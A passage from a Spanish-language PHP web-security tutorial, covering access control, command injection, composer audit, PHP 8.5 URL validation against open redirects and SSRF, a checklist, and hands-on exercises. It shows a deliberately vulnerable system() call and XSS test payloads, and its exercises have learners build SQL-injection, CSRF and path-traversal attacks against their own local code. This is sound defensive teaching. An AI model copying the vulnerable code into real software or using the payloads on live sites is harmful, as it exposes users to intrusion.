$stmt = $pdo->prepare('SELECT * FROM pedidos WHERE id = ? AND usuario_id = ?');
$stmt->execute([$_GET['id'], $_SESSION['usuario_id']]);
$pedido = $stmt->fetch() ?: throw new RuntimeException('Pedido no encontrado'); // → 404
⚠️ Importante: Ocultar un botón en la interfaz no es control de acceso. Comprueba los permisos en el servidor, en cada petición, para cada recurso.
unserialize() con datos externos (A08)
unserialize() puede crear objetos de cualquier clase y disparar sus métodos mágicos; con datos del usuario abre la puerta a la ejecución de código. Para intercambiar datos usa JSON (json_encode/json_decode). Si no tienes más remedio, usa unserialize($datos, ['allowed_classes' => false]).
Inyección de comandos
<?php
// ❌ VULNERABLE
system('convert ' . $_GET['fichero'] . ' salida.png');
// ✅ Escapar cada argumento (y mejor aún, evitar llamar a la shell)
system('convert ' . escapeshellarg($fichero) . ' salida.png');
14. Mantener PHP y las dependencias actualizados
Muchas intrusiones no explotan tu código, sino una versión antigua de PHP o de una librería con una vulnerabilidad conocida y pública.
- Usa una versión de PHP con soporte de seguridad (consulta php.net/supported-versions). Cada rama recibe dos años de soporte activo y dos más de parches de seguridad.
- Revisa tus dependencias con
composer audit, que las compara con la base de datos de avisos de seguridad de Packagist:
composer audit
Si hay algún problema, la salida es parecida a esta (el paquete del ejemplo es ficticio):
Found 1 security vulnerability advisory affecting 1 package:
+-------------------+----------------------------------------------------------------+
| Package | vendor/libreria |
| Severity | high |
| CVE | CVE-2026-XXXXX |
| Title | Remote code execution via crafted input |
| Affected versions | <2.4.1 |
+-------------------+----------------------------------------------------------------+
# Actualizar respetando las restricciones de composer.json
composer update vendor/libreria
# Ver qué paquetes tienen versiones nuevas
composer outdated --direct
💡 Consejo: Composer ejecuta la auditoría automáticamente al hacer
composer updateocomposer require. Añádelo también a tu integración continua (GitHub Actions, módulo 18) y activa Dependabot o Renovate en tu repositorio para recibir avisos de actualizaciones.
15. Validar URLs con la extensión URI de PHP 8.5
Muchas aplicaciones reciben URLs del usuario: “redirigir después del login a…”, “importar desde esta URL”, “web personal”. Validarlas mal produce redirecciones abiertas (open redirect, útiles para phishing) o SSRF (que tu servidor haga peticiones a direcciones internas).
📘 Concepto: Hasta ahora se usaba
parse_url(), pero no sigue ningún estándar: en URLs raras o malformadas puede interpretar el host de forma distinta a como lo hacen el navegador o cURL. Si tu validación “ve” un host y quien después usa la URL “ve” otro, el atacante tiene una vía para saltarse la comprobación. PHP 8.5 incorpora la extensión URI, siempre disponible, con dos analizadores que siguen estándares:Uri\Rfc3986\Uri(RFC 3986, el estándar general de URIs) yUri\WhatWg\Url(el estándar WHATWG URL, el que usan los navegadores).
<?php
declare(strict_types=1);
use Uri\Rfc3986\Uri;
$uri = new Uri('https://usuario@tienda.example:8443/productos/buscar?q=teclado#resultados');
echo $uri->getScheme(), PHP_EOL; // https
echo $uri->getUserInfo(), PHP_EOL; // usuario
echo $uri->getHost(), PHP_EOL; // tienda.example
echo $uri->getPort(), PHP_EOL; // 8443
echo $uri->getPath(), PHP_EOL; // /productos/buscar
echo $uri->getQuery(), PHP_EOL; // q=teclado
echo $uri->getFragment(), PHP_EOL; // resultados
// Los objetos son inmutables: los métodos with*() devuelven una copia
$otra = $uri->withPath('/ofertas')->withQuery(null)->withFragment(null);
echo $otra->toString(), PHP_EOL; // https://usuario@tienda.example:8443/ofertas
// URL inválida: el constructor lanza excepción; parse() devuelve null
var_dump(Uri::parse('https://exa mple.com')); // NULL
Evitar redirecciones abiertas
Como el destino de una redirección lo interpreta el navegador, lo coherente es validarlo con el estándar WHATWG:
<?php
declare(strict_types=1);
use Uri\WhatWg\Url;
/**
* Devuelve una URL de redirección segura: solo se permite nuestro propio dominio.
*/
function destinoSeguro(string $destino, string $porDefecto = '/'): string
{
$base = new Url('https://mitienda.es/');
// parse() resuelve también rutas relativas como "/cuenta" respecto a la base
$url = Url::parse($destino, $base);
if ($url === null
|| $url->getScheme() !== 'https'
|| $url->getAsciiHost() !== 'mitienda.es') {
return $porDefecto;
}
return $url->toAsciiString();
}
echo destinoSeguro('/cuenta/pedidos'), PHP_EOL; // https://mitienda.es/cuenta/pedidos
echo destinoSeguro('https://mitienda.es/carrito'), PHP_EOL; // https://mitienda.es/carrito
echo destinoSeguro('https://malo.example/login'), PHP_EOL; // /
echo destinoSeguro('//malo.example'), PHP_EOL; // /
echo destinoSeguro('javascript:alert(1)'), PHP_EOL; // /
// Uso tras el login
header('Location: ' . destinoSeguro($_GET['volver'] ?? '/'));
parse_url() | Uri\Rfc3986\Uri | Uri\WhatWg\Url | |
|---|---|---|---|
| Estándar | Ninguno | RFC 3986 | WHATWG URL (navegadores) |
| Valida la URL | No (devuelve partes “a lo que salga”) | Sí | Sí |
| Resuelve URLs relativas | No | Sí | Sí |
| Normaliza (mayúsculas, IDN, puntos) | No | Parcial | Sí |
| Modificar componentes | No | with*() inmutables | with*() inmutables |
| Ideal para | Código antiguo | APIs, URIs genéricas | Lo que va a abrir un navegador |
⚠️ Importante: Para evitar SSRF cuando tu servidor descarga algo de una URL del usuario, validar la URL no es suficiente: además tienes que comprobar que el host no resuelve a una IP privada o local (
127.0.0.1,10.x,192.168.x,169.254.169.254…) y limitar redirecciones. Siempre que puedas, usa una lista blanca de dominios permitidos.
16. Checklist de seguridad
Antes de publicar una aplicación PHP, repasa esta lista:
| Área | Comprobación |
|---|---|
| Configuración | display_errors = Off, log_errors = On, expose_php = Off, allow_url_include = Off |
| Carpetas | Solo public/ es accesible desde la web; .env, vendor/, src/, logs y subidas privadas quedan fuera |
| Secretos | Credenciales en variables de entorno; .env en .gitignore; nada sensible en Git |
| SQL | Todas las consultas con datos usan prepare(); EMULATE_PREPARES a false; usuario de BD con permisos mínimos |
| XSS | Todo dato dinámico se imprime con e(); JSON en scripts con JSON_HEX_*; URLs validadas |
| CSRF | Todos los formularios POST llevan token y se verifica con hash_equals() |
| Contraseñas | password_hash() / password_verify(); columna VARCHAR(255); rehash al hacer login |
| Sesiones | Cookies HttpOnly, Secure, SameSite; session_regenerate_id(true) al hacer login; caducidad |
| Login | Mensaje de error genérico; límite de intentos; registro de fallos en el log |
| Acceso | Permisos comprobados en el servidor para cada recurso (no solo “está logueado”) |
| Ficheros | MIME real, tamaño máximo, nombre aleatorio, fuera de public/ o sin ejecución |
| Rutas | Nada de include/readfile con datos del usuario sin lista blanca o realpath() |
| Cabeceras | CSP, X-Content-Type-Options, frame-ancestors, Referrer-Policy, HSTS |
| Transporte | HTTPS en todo el sitio, redirección desde HTTP |
| Aleatoriedad | Tokens con random_bytes() / Random\Randomizer; nunca rand() ni uniqid() |
| Dependencias | PHP con soporte; composer audit sin avisos; actualizaciones periódicas |
| URLs | Redirecciones validadas con Uri\WhatWg\Url y lista blanca de hosts |
17. Ejercicios
Ejercicio 1: Cazar el XSS
Crea un libro de visitas (formulario con nombre y mensaje que se guardan en un fichero JSON o en una tabla) sin escapar la salida. Comprueba que puedes inyectar <script>alert('XSS')</script> y <img src=x onerror=alert(1)>. Después corrígelo con el helper e() y verifica en el código fuente de la página cómo aparecen ahora los mensajes.
Ejercicio 2: Inyección SQL en un login
Crea una tabla usuarios y un login vulnerable que concatene el email en el SQL. Consigue entrar sin conocer ninguna contraseña. Después reescríbelo con consulta preparada, password_verify() y un mensaje de error genérico, y comprueba que el ataque ya no funciona.
Ejercicio 3: Protección CSRF completa
Crea src/csrf.php con csrfToken(), csrfCampo() y verificarCsrf(). Añade el token al formulario de “cambiar email” de una cuenta de usuario. Crea en otra carpeta (servida en otro puerto, por ejemplo php -S localhost:9000) una página “maliciosa” que envíe el formulario automáticamente y comprueba que tu aplicación la rechaza con un 403.
Ejercicio 4: Registro con contraseñas seguras
Implementa un registro y login que: exija contraseñas de al menos 12 caracteres, rechace las de una lista de 20 contraseñas comunes (123456789012, contraseña123…), guarde el hash con PASSWORD_DEFAULT y aplique password_needs_rehash() en el login. Cambia después el coste a 13 y comprueba en la base de datos que el hash de un usuario se actualiza al iniciar sesión.
Ejercicio 5: Descargas seguras
Crea una carpeta privado/facturas/ fuera de public/ con varios PDF. Escribe descargar.php?id=N que busque en una tabla facturas (id, usuario_id, fichero) el fichero correspondiente, compruebe que pertenece al usuario de la sesión y lo sirva con las cabeceras adecuadas. Intenta acceder a la factura de otro usuario y a ../../.env.
Ejercicio 6: Cabeceras y CSP
Añade la función enviarCabecerasSeguridad() a una de tus páginas con Bootstrap desde jsDelivr. Comprueba en las herramientas de desarrollo del navegador (pestaña Red) que las cabeceras llegan. Añade un <script>alert(1)</script> en línea y observa en la consola cómo la CSP lo bloquea. Muévelo a un fichero app.js y verifica que entonces sí se ejecuta.
Ejercicio 7: Login con límite de intentos y recuperación de contraseña
Implementa la clase LimitadorLogin y añádela a tu login. Después crea el flujo de “he olvidado mi contraseña”: genera un token con random_bytes(32), guarda su hash SHA-256 con caducidad de 1 hora, “envía” el enlace (muéstralo en pantalla o escríbelo en un log) y permite cambiar la contraseña una sola vez con él.
Ejercicio 8: Redirección segura tras el login
Haz que el login acepte un parámetro ?volver= para redirigir al usuario a la página que intentaba ver. Implementa destinoSeguro() con Uri\WhatWg\Url y prueba con al menos seis destinos distintos (rutas relativas, tu dominio, otro dominio, //otro.example, javascript:, una URL malformada), mostrando el resultado de cada uno en una tabla.
Resumen
| Riesgo / Tema | Defensa en PHP |
|---|---|
| XSS | htmlspecialchars($x, ENT_QUOTES \| ENT_SUBSTITUTE, 'UTF-8') mediante e() |
| Datos en JavaScript | json_encode($x, JSON_HEX_TAG \| JSON_HEX_AMP \| JSON_HEX_APOS \| JSON_HEX_QUOT) |
| Inyección SQL | $pdo->prepare() + execute(); listas blancas para columnas |
| CSRF | Token bin2hex(random_bytes(32)) en sesión + hash_equals() + SameSite |
| Contraseñas | password_hash(), password_verify(), password_needs_rehash() |
| Sesiones | session_regenerate_id(true), cookies HttpOnly/Secure/SameSite |
| Subidas | finfo, nombre aleatorio, fuera de public/ |
| Path traversal | basename(), realpath(), str_starts_with() |
| Inclusión de ficheros | Lista blanca de páginas |
| Cabeceras | CSP, nosniff, frame-ancestors, HSTS, Referrer-Policy |
| Secretos | .env fuera de public/ y de Git; getenv(), $_ENV |
| Aleatoriedad | random_bytes(), random_int(), Random\Randomizer |
| Fuerza bruta | Límite de intentos por email e IP |
| Dependencias | composer audit, PHP con soporte |
| URLs (8.5) | Uri\Rfc3986\Uri, Uri\WhatWg\Url en lugar de parse_url() |